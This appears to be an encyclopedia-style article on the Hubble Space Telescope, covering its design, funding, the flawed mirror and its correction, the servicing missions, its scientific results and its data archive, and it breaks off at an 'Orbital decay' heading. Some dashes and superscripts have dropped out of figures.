              	Orbit height

              	589 km (366 mi)
            


            
              	Orbit period

              	9697 min
            


            
              	Orbit velocity

              	7,500m/s (17,000mph)
            


            
              	Acceleration duetogravity

              	8.169m/s (26.80ft/s)
            


            
              	Location

              	Low Earth orbit
            


            
              	Telescope style

              	Ritchey-Chretien reflector
            


            
              	Wavelength

              	Optical, ultraviolet, near-infrared
            


            
              	Diameter

              	2.4 m (94 in)
            


            
              	Collecting area

              	approx. 4.5 m (46 ft)
            


            
              	Focal length

              	57.6 m (189 ft)
            


            
              	Instruments
            


            
              	NICMOS

              	infrared camera/spectrometer
            


            
              	ACS

              	optical survey camera

              (mostly failed)
            


            
              	WFPC2

              	wide field optical camera
            


            
              	STIS

              	optical spectrometer/camera

              (failed)
            


            
              	FGS

              	three fine guidance sensors
            


            
              	
            


            
              	Website

              http://www.nasa.gov/hubble http://hubble.nasa.gov

              http://hubblesite.org http://www.spacetelescope.org
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          The Hubble Space Telescope (HST; also known colloquially as "the Hubble" or just "Hubble") is a space telescope that was carried into orbit by a Space Shuttle in April 1990. It is named for the American astronomer, Edwin Hubble. Although not the first space telescope, the Hubble is one of the largest and most versatile, and is well known as both a vital research tool and a public relations boon for astronomy. The HST is a collaboration between NASA and the European Space Agency, and is one of NASA's Great Observatories, along with the Compton Gamma Ray Observatory, the Chandra X-ray Observatory, and the Spitzer Space Telescope.


          Space telescopes were proposed as early as the 1940s. The Hubble was funded in the 1970s, with a proposed launch in 1983, but the project was beset by technical delays, budget problems, and the Challenger disaster. When finally launched in 1990, scientists found that the main mirror had been ground incorrectly, severely compromising the telescope's capabilities. However, after a servicing mission in 1993, the telescope was restored to its intended quality. Hubble's position outside the Earth's atmosphere allows it to take extremely sharp images with almost no background light. Hubble's Ultra Deep Field image, for instance, is the most detailed visible-light image of the universe's most distant objects ever made. Many Hubble observations have led to breakthroughs in astrophysics, such as accurately determining the rate of expansion of the universe.


          The Hubble is the only telescope ever designed to be serviced in space by astronauts. To date, there have been four servicing missions. Servicing Mission 1 took place in December 1993 when Hubble's imaging flaw was corrected. Servicing missions 2, 3, and 4 repaired various sub-systems and replaced many of the observing instruments with more modern and capable versions. However, following the 2003 Columbia Space Shuttle disaster, the fifth servicing mission was canceled on safety grounds. After spirited public discussion, NASA reconsidered this decision, and administrator Mike Griffin gave the green light for one final Hubble servicing mission. This is now planned for October 2008.


          The planned repairs to the Hubble will allow the telescope to function until at least 2013, when its successor, the James Webb Space Telescope (JWST), is due to be launched. The JWST will be far superior to Hubble for many astronomical research programs, but will only observe in infrared, so it would complement (not replace) Hubble's ability to observe in the visible and ultraviolet parts of the spectrum.


          


          Conception, design and aims


          


          Proposals and precursors


          In 1923, German scientist Hermann Oberth, considered one of the three fathers of modern rocketry along with Robert Goddard and Konstantin Tsiolkovsky, published "Die Rakete zu den Planetenrumen" ("The Rocket into Planetary Space"), which mentioned how a telescope could be propelled into Earth orbit by a rocket.
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          The history of the Hubble Space Telescope can be traced back as far as 1946, when the astronomer Lyman Spitzer wrote the paper "Astronomical advantages of an extraterrestrial observatory". In it, he discussed the two main advantages that a space-based observatory would have over ground-based telescopes. First, the angular resolution (smallest separation at which objects can be clearly distinguished) would be limited only by diffraction, rather than by the turbulence in the atmosphere, which causes stars to twinkle and is known to astronomers as seeing. At that time ground-based telescopes were limited to resolutions of 0.51.0 arcseconds, compared to a theoretical diffraction-limited resolution of about 0.05arcsec for a telescope with a mirror 2.5m in diameter. Second, a space-based telescope could observe infrared and ultraviolet light, which are strongly absorbed by the atmosphere.


          Spitzer devoted much of his career to pushing for a space telescope to be developed. In 1962 a report by the United States National Academy of Sciences recommended the development of a space telescope as part of the space program, and in 1965 Spitzer was appointed as head of a committee given the task of defining the scientific objectives for a large space telescope.


          Space-based astronomy had begun on a very small scale following World War II, as scientists made use of developments that had taken place in rocket technology. The first ultraviolet spectrum of the Sun was obtained in 1946. An orbiting solar telescope was launched in 1962 by the United Kingdom as part of the Ariel space program, and in 1966 National Aeronautics and Space Administration (NASA) launched the first Orbiting Astronomical Observatory (OAO) mission. OAO-1's battery failed after three days, terminating the mission. It was followed by OAO-2, which carried out ultraviolet observations of stars and galaxies from its launch in 1968 until 1972, well beyond its original planned lifetime of one year.


          The OAO missions demonstrated the important role space-based observations could play in astronomy, and 1968 saw the development by NASA of firm plans for a space-based reflecting telescope with a mirror 3m in diameter, known provisionally as the Large Orbiting Telescope or Large Space Telescope (LST), with a launch slated for 1979. These plans emphasized the need for manned maintenance missions to the telescope to ensure such a costly program had a lengthy working life, and the concurrent development of plans for the reusable Space Shuttle indicated that the technology to allow this was soon to become available.


          


          Quest for funding


          The continuing success of the OAO program encouraged increasingly strong consensus within the astronomical community that the LST should be a major goal. In 1970 NASA established two committees, one to plan the engineering side of the space telescope project, and the other to determine the scientific goals of the mission. Once these had been established, the next hurdle for NASA was to obtain funding for the instrument, which would be far more costly than any Earth-based telescope. The US Congress questioned many aspects of the proposed budget for the telescope and forced cuts in the budget for the planning stages, which at the time consisted of very detailed studies of potential instruments and hardware for the telescope. In 1974, public spending cuts instigated by Gerald Ford led to Congress cutting all funding for the telescope project.


          In response to this, a nationwide lobbying effort was coordinated among astronomers. Many astronomers met congressmen and senators in person, and large scale letter-writing campaigns were organized. The National Academy of Sciences published a report emphasizing the need for a space telescope, and eventually the Senate agreed to half of the budget that had originally been approved by Congress.


          The funding issues led to something of a reduction in the scale of the project, with the proposed mirror diameter reduced from 3m to 2.4m, both to cut costs and to allow a more compact and effective configuration for the telescope hardware. A proposed precursor 1.5m space telescope to test the systems to be used on the main satellite was dropped, and budgetary concerns also prompted collaboration with the European Space Agency. ESA agreed to provide funding and supply one of the first generation instruments for the telescope, as well as the solar cells that would power it, and staff to work on the telescope in the United States, in return for European astronomers being guaranteed at least 15% of the observing time on the telescope. Congress eventually approved funding of US$36,000,000 for 1978, and the design of the LST began in earnest, aiming for a launch date of 1983. In 1983 the telescope was named after Edwin Hubble, who made one of the greatest scientific breakthroughs of the 20th century when he discovered that the universe was expanding.


          


          Construction and engineering
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          Once the Space Telescope project had been given the go-ahead, work on the program was divided among many institutions. Marshall Space Flight Centre (MSFC) was given responsibility for the design, development, and construction of the telescope, while the Goddard Space Flight Centre was given overall control of the scientific instruments and ground-control centre for the mission. MSFC commissioned the optics company Perkin-Elmer to design and build the Optical Telescope Assembly (OTA) and Fine Guidance Sensors for the space telescope. Lockheed was commissioned to construct the spacecraft in which the telescope would be housed.


          


          Optical Telescope Assembly (OTA)


          The mirror and optical systems of the telescope were the most crucial and complex part, and were designed to exacting specifications. Optical telescopes typically have mirrors polished to an accuracy of about a tenth of the wavelength of visible light, but the Space Telescope was to be used for observations into the ultraviolet (shorter wavelengths) and was specified to be diffraction limited to take full advantage of the space environment. Therefore its mirror needed to be polished to an accuracy of 10 nanometres, or about 1/65 of the wavelength of red light.


          Perkin-Elmer intended to use extremely sophisticated computer-controlled polishing machines to grind the mirror to the required shape, but in case their cutting-edge technology ran into difficulties, NASA demanded that PE sub-contract to Kodak to construct a back-up mirror using traditional mirror-polishing techniques. (The team of Kodak and Itek also bid on the original mirror polishing work. Their bid called for the two companies to double-check each other's work, which would have almost certainly caught the polishing error that later caused such problems.) The Kodak mirror is now on permanent display at the Smithsonian Institution.. An Itek mirror built as part of the effort is now used in the 2.4m telescope at the Magdalena Ridge Observatory.


          Construction of the Perkin-Elmer mirror began in 1979, using ultra-low expansion glass. To keep the mirror's weight to a minimum it consisted of inch-thick top and bottom plates sandwiching a honeycomb lattice. Mirror polishing continued until May 1981. NASA reports at the time questioned Perkin-Elmer's managerial structure, and the polishing began to slip behind schedule and over budget. To save money, NASA halted work on the back-up mirror and put the launch date of the telescope back to October 1984. The mirror was completed by the end of 1981 with the addition of a reflective coating of aluminium 65nm thick and a protective coating of magnesium fluoride 25nm thick.


          Doubts continued to be expressed about Perkin-Elmer's competence on a project of this importance as their budget and timescale for producing the rest of the OTA continued to inflate. In response to a schedule described as "unsettled and changing daily", NASA postponed the launch date of the telescope until April 1985. Perkin-Elmer's schedules continued to slip at a rate of about one month per quarter, and at times delays reached one day for each day of work. NASA was forced to postpone the launch date until first March and then September 1986. By this time the total project budget had risen to US$1.175 billion.


          


          Spacecraft systems
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          The spacecraft in which the telescope and instruments were to be housed was another major engineering challenge. It would have to adequately withstand frequent passages from direct sunlight into the darkness of Earth's shadow, which would generate major changes in temperature, while being stable enough to allow extremely accurate pointing of the telescope. A shroud of multi-layer insulation keeps the temperature within the telescope stable, and surrounds a light aluminium shell in which the telescope and instruments sit. Within the shell, a graphite-epoxy frame keeps the working parts of the telescope firmly aligned.


          While construction of the spacecraft in which the telescope and instruments would be housed proceeded somewhat more smoothly than the construction of the OTA, Lockheed still experienced some budget and schedule slippage, and by the summer of 1985, construction of the spacecraft was 30% over budget and three months behind schedule. An MSFC report said that Lockheed tended to rely on NASA directions rather than take their own initiative in the construction.


          


          Initial instruments


          When launched, the HST carried five scientific instruments: the Wide Field and Planetary Camera (WF/PC), Goddard High Resolution Spectrograph (GHRS), High Speed Photometer (HSP), Faint Object Camera (FOC) and the Faint Object Spectrograph (FOS). WF/PC was a high-resolution imaging device primarily intended for optical observations. It was built by NASA's Jet Propulsion Laboratory, and incorporated a set of 48 filters isolating spectral lines of particular astrophysical interest. The instrument contained eight CCD chips divided between two cameras, each using four CCDs. The "wide field camera" (WFC) covered an angularly large field at the expense of resolution, while the "planetary camera" (PC) took images at a longer effective focal length than the WF chips, giving it a greater magnification.


          The GHRS was a spectrograph designed to operate in the ultraviolet. It was built by the Goddard Space Flight Centre and could achieve a spectral resolution of 90,000. Also optimized for ultraviolet observations were the FOC and FOS, which were capable of the highest spatial resolution of any instruments on Hubble. Rather than CCDs these three instruments used photon-counting digicons as their detectors. FOC was constructed by ESA, while the Martin Marietta corporation built the FOS.


          The final instrument was the HSP, designed and built at the University of WisconsinMadison. It was optimized for visible and ultraviolet light observations of variable stars and other astronomical objects varying in brightness. It could take up to 100,000 measurements per second with a photometric accuracy of about 2% or better.


          HST's guidance system can also be used as a scientific instrument. Its three Fine Guidance Sensors (FGS) are primarily used to keep the telescope accurately pointed during an observation, but can also be used to carry out extremely accurate astrometry; measurements accurate to within 0.0003arcseconds have been achieved.


          


          Ground support


          The Space Telescope Science Institute (STScI) is responsible for the scientific operation of the telescope and delivery of data products to astronomers. STScI is operated by the Association of Universities for Research in Astronomy (AURA) and is physically located in Baltimore, Maryland on the Homewood campus of Johns Hopkins University, one of the 33 US universities and 7 international affiliates that make up the AURA consortium. STScI was established in 1983 after something of a power struggle between NASA and the scientific community at large. NASA had wanted to keep this function "in-house", but scientists wanted it to be based in an academic establishment. The Space Telescope European Coordinating Facility (ST-ECF), established at Garching bei Mnchen near Munich in 1984, provides similar support for European astronomers.
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          One rather complex task that falls to STScI is scheduling observations for the telescope. Hubble is situated in a low-Earth orbit so that it can be reached by the Space Shuttle for servicing missions, but this means that most astronomical targets are occulted by the Earth for slightly less than half of each orbit. Observations cannot take place when the telescope passes through the South Atlantic Anomaly due to elevated radiation levels, and there are also sizable exclusion zones around the Sun (precluding observations of Mercury), Moon and Earth. The solar avoidance angle is about 50, which is specified to keep sunlight from illuminating any part of the OTA. Earth and Moon avoidance is to keep bright light out of the FGSs and to keep scattered light from entering the instruments. If the FGSs are turned off, however, the Moon and Earth can be observed. Earth observations were used very early in the program to generate flat-fields for the WFPC1 instrument. There is a so-called continuous viewing zone (CVZ), at roughly 90degrees to the plane of Hubble's orbit, in which targets are not occulted for long periods. Due to the precession of the orbit, the location of the CVZ moves slowly over a period of eight weeks. Because the limb of the Earth is always within about 30 of regions within the CVZ, the brightness of scattered earthshine may be elevated for long periods during CVZ observations.


          Because Hubble orbits in the upper atmosphere, its orbit changes over time in a way that is not accurately predictable. The density of the upper atmosphere varies according to many factors, and this means that Hubble's predicted position for six weeks' time could be in error by up to 4,000km. Observation schedules are typically finalized only a few days in advance, as a longer lead time would mean there was a chance that the target would be unobservable by the time it was due to be observed.


          Engineering support for the Hubble is provided by NASA and contractor personnel at the Goddard Space Flight Centre in Greenbelt, Maryland, 48km south of the STScI. Hubble's operation is monitored 24hours per day by four teams of flight controllers who make up Hubble's Flight Operations Team.


          


          Challenger disaster, delays, and eventual launch


          In early 1986, the planned launch date of October that year looked feasible, but the Challenger disaster brought the US space program to a halt, grounding the Space Shuttle fleet and forcing the launch of Hubble to be postponed for several years. The telescope had to be kept in a clean room, powered up and purged with nitrogen, until a launch could be rescheduled. This costly situation (about $6 million per month) pushed the overall costs of the project even higher. On the other hand, engineers used this time to perform extensive tests, swap out a possible failure prone battery, and make other improvements.
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          Eventually, following the resumption of shuttle flights in 1988, the launch of the telescope was scheduled for 1990. On 24 April 1990, shuttle mission STS-31 saw Discovery launch the telescope successfully into its planned orbit.


          From its original total cost estimate of about US$400 million, the telescope had by now cost over $2.5 billion to construct. Hubble's cumulative costs up to this day are estimated to be several times higher still, with US expenditure estimated at between $4.5 and $6 billion, and Europe's financial contribution at 593 million (1999 estimate).


          


          Flawed mirror


          Within weeks of the launch of the telescope, the images returned showed that there was a serious problem with the optical system. Although the first images appeared to be sharper than ground-based images, the telescope failed to achieve a final sharp focus, and the best image quality obtained was drastically lower than expected. Images of point sources spread out over a radius of more than one arcsecond, instead of having a point spread function concentrated within a circle 0.1arcsec in diameter as had been specified in the design criteria. The detailed performance is shown in graphs from STScI illustrating the mis- figured PSFs compared to post-correction and ground based PSFs.


          Analysis of the flawed images showed that the cause of the problem was that the primary mirror had been ground to the wrong shape. Although it was probably the most precisely figured mirror ever made, with variations from the prescribed curve of no more than 1/65 of the wavelength of visible light, it was too flat at the edges. The mirror was barely 2.3 micrometres out from the required shape, but the difference was catastrophic, introducing severe spherical aberration, a flaw in which light reflecting off the edge of a mirror focuses on a different point from the light reflecting off its centre.


          The effect of the mirror flaw on scientific observations depended on the particular observationthe core of the aberrated PSF was sharp enough to permit uniquely high-resolution observations of bright objects, and spectroscopy was largely unaffected. However, the loss of light to the large, out of focus halo severely reduced the usefulness of the telescope for faint objects or high contrast imaging. This meant that nearly all of the cosmological programs were essentially impossible since they required observation of exceptionally faint objects. NASA and the telescope became the butt of many jokes, and the project was popularly regarded as a white elephant. (For instance, in the movie The Naked Gun 2: The Smell of Fear, the Hubble was pictured with the Titanic, the Hindenburg, and the Edsel). Nonetheless, during the first three years of the Hubble mission, before the optical corrections, the telescope still carried out a large number of productive observations. The error was well characterized and stable, enabling astronomers to optimize the results obtained using sophisticated image processing techniques such as deconvolution.


          


          Origin of the problem


          
            [image: An extract from a WF/PC image shows the light from a star spread over a wide area instead of being concentrated on a few pixels.]

            
              An extract from a WF/PC image shows the light from a star spread over a wide area instead of being concentrated on a few pixels.
            

          


          A commission headed by Lew Allen, director of the Jet Propulsion Laboratory, was established to determine how the error could have arisen. The Allen Commission found that the main null corrector, a device used to measure the exact shape of the mirror, had been incorrectly assembledone lens was wrongly spaced by 1.3mm. During the polishing of the mirror, Perkin-Elmer had analyzed its surface with two other null correctors, both of which (correctly) indicated that the mirror was suffering from spherical aberration. The company ignored these test results as it believed that the two null correctors were less accurate than the primary device which was reporting that the mirror was perfectly figured.


          The commission blamed the failings primarily on Perkin-Elmer. Relations between NASA and the optics company had been severely strained during the telescope construction due to frequent schedule slippage and cost overruns. NASA found that Perkin-Elmer had not regarded the telescope mirror as a crucial part of their business and were also secure in the knowledge that NASA could not take its business elsewhere once the polishing had begun. While the commission heavily criticized Perkin-Elmer for these managerial failings, NASA was also criticized for not picking up on the quality control shortcomings such as relying totally on test results from a single instrument.


          


          Design of a solution
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          The design of the telescope had always incorporated servicing missions, and astronomers immediately began to seek potential solutions to the problem which could be applied at the first servicing mission, scheduled for 1993. While Kodak and Itek had each ground back-up mirrors for Hubble, it would have been impossible to replace the mirror in orbit, and too expensive and time-consuming to bring the telescope temporarily back to Earth for a refit. Instead, the fact that the mirror had been ground so precisely to the wrong shape led to the design of new optical components with exactly the same error but in the opposite sense, to be added to the telescope at the servicing mission, effectively acting as "spectacles" to correct the spherical aberration.


          The first step was a precise characterization of the error in the main mirror. Working backwards from images of point sources, astronomers determined that the conic constant of the mirror was 1.01324, instead of the intended 1.00230. The same number was also derived by analyzing the null corrector used by Perkin-Elmer to figure the mirror, as well as by analyzing interferograms obtained during ground testing of the mirror.


          Because of the way the instruments were designed, two different sets of correctors were required. The design of the Wide Field and Planetary Camera 2, already planned to replace the existing WF/PC, included relay mirrors to direct light onto the eight separate CCD chips making up its two cameras. An inverse error built into their surfaces could completely cancel the aberration of the primary. However, the other instruments lacked any intermediate surfaces which could be figured in this way, and so required an external correction device.


          The system designed to correct the spherical aberration for light focused at the FOC, FOS, and GHRS was called the "Corrective Optics Space Telescope Axial Replacement" ( COSTAR) and consisted essentially of two mirrors in the light path, one of which would be figured to correct the aberration. To fit the COSTAR system onto the telescope, one of the other instruments had to be removed, and astronomers selected the High Speed Photometer to be sacrificed.


          


          Servicing missions and new instruments


          


          Servicing Mission 1
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          The telescope had always been designed so that it could be regularly serviced, but after the problems with the mirror came to light, the first servicing mission assumed a much greater importance, as the astronauts would have to carry out extensive work on the telescope to install the corrective optics. The seven astronauts selected for the mission were trained intensively in the use of the hundred or so specialized tools which would need to be used. The mission STS-61 of the Space Shuttle Endeavour took place in December 1993, and involved installation of several instruments and other equipment over a total of 10 days.


          Most importantly, the High Speed Photometer was replaced with the COSTAR corrective optics package, and WFPC was replaced with the Wide Field and Planetary Camera 2 (WFPC2) with its internal optical correction system. In addition, the solar arrays and their drive electronics were replaced, as well as four of the gyroscopes used in the telescope pointing system, two electrical control units and other electrical components, and two magnetometers. The onboard computers were upgraded, and finally, the telescope's orbit was boosted, to compensate for the orbital decay from 3 years of drag in the tenuous upper atmosphere.


          On January 13, 1994, NASA declared the mission a complete success and showed the first of many much sharper images. The mission had been one of the most complex ever undertaken, involving five lengthy periods of extravehicular activity and its resounding success was an enormous boon for NASA, as well as for the astronomers who now had a fully capable space telescope.


          


          Servicing Mission 2


          Servicing Mission 2 Discovery ( STS-82) in February 1997 replaced the GHRS and the FOS with the Space Telescope Imaging Spectrograph (STIS) and the Near Infrared Camera and Multi-Object Spectrometer (NICMOS), replaced an Engineering and Science Tape Recorder with a new Solid State Recorder, repaired thermal insulation and again boosted Hubble's orbit. NICMOS contained a heat sink of solid nitrogen to reduce the thermal noise from the instrument, but shortly after it was installed, an unexpected thermal expansion resulted in part of the heat sink coming into contact with an optical baffle. This led to an increased warming rate for the instrument and reduced its original expected lifetime of 4.5 years to about 2 years.


          


          Servicing Mission 3A


          Servicing Mission 3A Discovery ( STS-103) took place in December 1999, split off from Servicing Mission 3 after three of the six onboard gyroscopes had failed. (A fourth failed a few weeks before the mission, rendering the telescope incapable of performing science observations.) The mission replaced all six gyroscopes, replaced a Fine Guidance Sensor and the computer, installed a Voltage/temperature Improvement Kit (VIK) to prevent battery overcharging, and replaced thermal insulation blankets. Although the new computer is hardly a powerhouse (a 25 MHz radiation hardened Intel 486 with two megabytes of RAM), it is still 20 times faster, with six times more memory, than the DF-224 it replaced. The new computer increases throughput by moving some computing tasks from the ground to the spacecraft, and saves money by allowing the use of modern programming languages.


          


          Servicing Mission 3B


          Servicing Mission 3B Columbia ( STS-109) in March 2002 saw the installation of a new instrument, with the FOC being replaced by the Advanced Camera for Surveys (ACS). It also saw the revival of NICMOS, which had run out of coolant in 1999. A new cooling system was installed which reduced the instrument's temperature enough for it to be usable again. Although not as cold as its original design called for, the temperature is more stable, in many ways a better tradeoff.. ACS in particular enhanced the Hubble's capabilities; it and the revived NICMOS together imaged the Hubble Ultra Deep Field.


          The mission replaced the solar arrays for the second time. The new arrays were derived from those built for the Iridium comsat system and were only two-thirds the size of the old arrays, resulting in less drag against the tenuous reaches of the upper atmosphere while providing 30 percent more power. The additional power allowed all instruments on board the Hubble to be run simultaneously, and reduced a vibration problem that occurred when the old, less rigid arrays entered and left direct sunlight. Hubble's Power Distribution Unit was also replaced in order to correct a problem with sticky relays, a procedure that required the complete electrical power down of the spacecraft for the first time since it was launched.


          


          Scientific results


          


          Important discoveries
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          Hubble has helped to resolve some long-standing problems in astronomy, as well as turning up results that have required new theories to explain them. Among its primary mission targets was to measure distances to Cepheid variable stars more accurately than ever before, and thus constrain the value of the Hubble constant, the measure of the rate at which the universe is expanding, which is also related to its age. Before the launch of HST, estimates of the Hubble constant typically had errors of up to 50%, but Hubble measurements of Cepheid variables in the Virgo Cluster and other distant galaxy clusters provided a measured value with an accuracy of 10%, which is consistent with other more accurate measurements made since Hubble's launch using other techniques.


          While Hubble helped to refine estimates of the age of the universe, it also cast doubt on theories about its future. Astronomers from the High-z Supernova Search Team and the Supernova Cosmology Project used the telescope to observe distant supernovae and uncovered evidence that, far from decelerating under the influence of gravity, the expansion of the universe may in fact be accelerating. This acceleration was later measured more accurately by other ground-based and space-based telescopes which confirmed Hubble's finding, but the cause of this acceleration is currently very poorly understood.


          The high-resolution spectra and images provided by the Hubble have been especially well-suited to establishing the prevalence of black holes in the nuclei of nearby galaxies. While it had been hypothesized in the early 1960s that black holes would be found at the centers of some galaxies, and work in the 1980s identified a number of good black hole candidates, it fell to work conducted with the Hubble to show that black holes are probably common to the centers of all galaxies. The Hubble programs further established that the masses of the nuclear black holes and properties of the galaxies are closely related. The legacy of the Hubble programs on black holes in galaxies is thus to demonstrate a deep and profound connection between galaxies and their central black holes.


          The collision of Comet Shoemaker-Levy 9 with Jupiter in 1994 was fortuitously timed for astronomers, coming just a few months after Servicing Mission 1 had restored Hubble's optical performance. Hubble images of the planet were sharper than any taken since the passage of Voyager 2 in 1979, and were crucial in studying the dynamics of the collision of a comet with Jupiter, an event believed to occur once every few centuries.


          Other major discoveries made using Hubble data include proto-planetary disks ( proplyds) in the Orion Nebula; evidence for the presence of extrasolar planets around sun-like stars; and the optical counterparts of the still-mysterious gamma ray bursts. HST has also been used to study objects in the outer reaches of the Solar System, including the dwarf planets Pluto and Eris.


          A unique legacy of Hubble is Hubble Deep Field and Hubble Ultra Deep Field images, which utilized Hubble's unmatched sensitivity at visible wavelengths to create images of small patches of sky which are the deepest ever obtained at optical wavelengths. The images reveal galaxies billions of light years away, and have generated a wealth of scientific papers, providing a new window on the early Universe.


          


          Impact on astronomy
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          Many objective measures show the positive impact of Hubble data on astronomy. Over 4,000 papers based on Hubble data have been published in peer-reviewed journals, and countless more have appeared in conference proceedings. Looking at papers several years after their publication, about one-third of all astronomy papers have no citations, while only 2% of papers based on Hubble data have no citations. On average, a paper based on Hubble data receives about twice as many citations as papers based on non-Hubble data. Of the 200 papers published each year which receive the most citations, about 10% are based on Hubble data.


          Although the HST has clearly had a significant impact on astronomical research, the financial cost of this impact has been large. A study on the relative impacts on astronomy of different sizes of telescopes found that while papers based on HST data generate 15 times as many citations as a 4m ground-based telescope such as the William Herschel Telescope, the HST costs about 100 times as much to build and maintain.


          Making the decision between investing in ground-based versus space-based telescopes in the future is complex. Advances in adaptive optics have extended the high-resolution imaging capabilities of ground-based telescopes to the infrared imaging of faint objects. The usefulness of adaptive optics versus HST observations depends strongly on the particular details of the research questions being asked. In the visible bands, adaptive optics can only correct a relatively small field of view, whereas HST can conduct high-resolution optical imaging over a wide field. Even before Hubble's launch, ground-based speckle imaging could provide higher resolution images of bright objects than Hubble can achieve, but Hubble's high resolution extends to dim objects as well.


          


          Using the telescope


          Anyone can apply for time on the telescope; there are no restrictions on nationality or academic affiliation. Competition for time on the telescope is extremely intense, and the ratio of time requested to time available (the oversubscription ratio) typically ranges between 6 and 9.


          Calls for proposals are issued roughly annually, with time allocated for a cycle lasting approximately one year. Proposals are divided into several categories; 'general observer' proposals are the most common, covering routine observations. 'Snapshot observations' are those in which targets require only 45 minutes or less of telescope time, including overheads such as acquiring the target; snapshot observations are used to fill in gaps in the telescope schedule which cannot be filled by regular GO programs.


          Astronomers may make 'Target of Opportunity' proposals, in which observations are scheduled if a transient event covered by the proposal occurs during the scheduling cycle. In addition, up to 10% of the telescope time is designated Director's Discretionary (DD) Time. Astronomers can apply to use DD time at any time of year, and it is typically awarded for study of unexpected transient phenomena such as supernovae. Other uses of DD time have included the observations that led to the production of the Hubble Deep Field and Hubble Ultra Deep Field, and in the first four cycles of telescope time, observations carried out by amateur astronomers.


          


          Amateur observations


          The first director of STScI, Riccardo Giacconi, announced in 1986 that he intended to devote some of his Director Discretionary time to allowing amateur astronomers to use the telescope. The total time to be allocated was only a few hours per cycle, but excited great interest among amateur astronomers.


          Proposals for amateur time were stringently peer reviewed by a committee of leading amateur astronomers, and time was awarded only to proposals that were deemed to have genuine scientific merit, did not duplicate proposals made by professionals, and required the unique capabilities of the space telescope. In total, 13 amateur astronomers were awarded time on the telescope, with observations being carried out between 1990 and 1997. One such study was Transition Comets -- UV Search for OH Emissions in Asteroids. After that time, however, budget reductions at STScI made the support of work by amateur astronomers untenable, and no further amateur programs have been carried out.


          


          Hubble data


          


          Transmission to Earth


          Hubble data were initially stored on the spacecraft. When launched, the storage facilities were old-fashioned reel-to-reel tape recorders, but these were replaced by solid state data storage facilities during servicing missions 2 and 3A. From the onboard storage facilities, data are transferred to the ground via the Tracking and Data Relay Satellite System, a system of satellites designed so that satellites in low-Earth orbit can communicate with their mission control facilities during about 85% of their orbit. Data are transmitted to the TDRSS ground station and then on to the Goddard Space Flight Centre and finally to the Space Telescope Science Institute for archiving.


          


          Archive


          All Hubble data are eventually made available via the archives of STScI.. Data are usually proprietaryavailable only to the principal investigator (PI) and astronomers designated by the PIfor one year after being taken. The PI can apply to the director of the STScI to extend or reduce the proprietary period in some circumstances.


          Observations made on Director's Discretionary Time are exempt from the proprietary period, and are released to the public immediately. Calibration data such as flat fields and dark frames are also publicly available straight away. All data in the archive are in the FITS format, which is suitable for astronomical analysis but not for public use. The Hubble Heritage Project processes and releases to the public a small selection of the most striking images in JPEG and TIFF formats.


          


          Pipeline reduction


          Astronomical data taken with CCDs must undergo several calibration steps before it is suitable for astronomical analysis. STScI has developed sophisticated software which automatically calibrates data when it is requested from the archive using the best calibration files available. This 'on-the-fly' processing means that large data requests can take a day or more to be processed and returned. The process by which data is calibrated automatically is known as 'pipeline reduction', and is increasingly common at major observatories. Astronomers may if they wish retrieve the calibration files themselves and run the pipeline reduction software locally. This may be desirable when calibration files other than those selected automatically need to be used.


          


          Data analysis


          Hubble data can be analysed using many different packages. STScI maintains the custom-made STSDAS (Space Telescope Science Data Analysis System) software, which contains all the programs needed to run pipeline reduction on raw data files, as well as many other astronomical image processing tools, tailored to the requirements of Hubble data. The software runs as a module of IRAF, a popular astronomical data reduction program.


          


          Outreach activities
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          It has always been important for the Space Telescope to capture the public's imagination, given the considerable contribution of taxpayers to its construction and operational costs. After the difficult early years when the faulty mirror severely dented Hubble's reputation with the public, the first servicing mission allowed its rehabilitation as the corrected optics produced numerous remarkable images.


          Several initiatives have helped to keep the public informed about Hubble activities. The Hubble Heritage Project was established to produce high-quality images for public consumption of the most interesting and striking objects observed. The Heritage team is composed of amateur and professional astronomers, as well as people with backgrounds outside astronomy, and emphasizes the aesthetic nature of Hubble images. The Heritage Project is granted a small amount of time to observe objects which, for scientific reasons, may not have images taken at enough wavelengths to construct a full-colour image.


          In addition, STScI maintains several comprehensive websites for the general public containing Hubble images and information about the observatory. The outreach efforts are coordinated by the Office for Public Outreach, which was established in 2000 to ensure that US taxpayers saw the benefits of their investment in the space telescope program.
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          Since 1999, the leading Hubble outreach activities group in Europe has been the Hubble European Space Agency Information Centre (HEIC). This office was established at the Space Telescope - European Coordinating Facility (ST-ECF) in Munich, Germany. HEIC's mission statement is to fulfill the Hubble Space Telescope outreach and education tasks for the European Space Agency (ESA). The work is centered on the production of news and photo releases that highlight interesting Hubble science results and images. These are often European in origin, and so not only increase the awareness of ESAs Hubble share (15%), but the contribution of European scientists to the observatory. The group also produces video releases and other innovative educational material.


          There is a replica of the Hubble Telescope on the courthouse lawn in Marshfield, Missouri, the hometown of namesake Edwin P. Hubble.


          


          Future


          


          Equipment failure
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          Past servicing missions have exchanged old instruments for new ones, both avoiding failure and making possible new types of science. Without servicing missions, all of the instruments will eventually fail. In August 2004, the power system of the Space Telescope Imaging Spectrograph (STIS) failed, rendering the instrument inoperable. The electronics had originally been fully redundant, but the first set of electronics failed in May 2001. Similarly, the main camera (the ACS) primary electronics failed in June 2006, and the power supply for the backup electronics failed on January 27, 2007. Only the instrument's Solar Blind Channel (SBC) is currently operable using the side-1 electronics. The two main channels, visible and UV, remain unusable. It seems unlikely that any science functionality can be salvaged without a servicing mission.


          HST uses gyroscopes to stabilize itself in orbit and point accurately and steadily at astronomical targets. Normally, three gyroscopes are required for operation; observations are still possible with two, but the area of sky that can be viewed would be somewhat restricted, and observations requiring very accurate pointing would be more difficult. In 2005, it was decided to switch to two-gyroscope mode for regular telescope operations as a means of extending the lifetime of the mission. The switch to this mode was made in August 2005, leaving Hubble with two gyroscopes in use, two on backup, and two inoperable. Estimates of the failure rate of the gyros indicate that Hubble may be down to one gyro by 2008, after which the telescope would be rendered unusable.


          In addition to predicted gyroscope failure, Hubble will eventually require a change of batteries. A robotic servicing mission including this would be tricky, as it requires many operations, and a failure in any might result in irreparable damage to Hubble. However, the observatory was designed so that during Shuttle servicing missions it would receive power from a connection to the Space Shuttle, and this fact may be utilized by adding an external power source (an additional battery) rather than changing the internal ones.


          


          Orbital decay


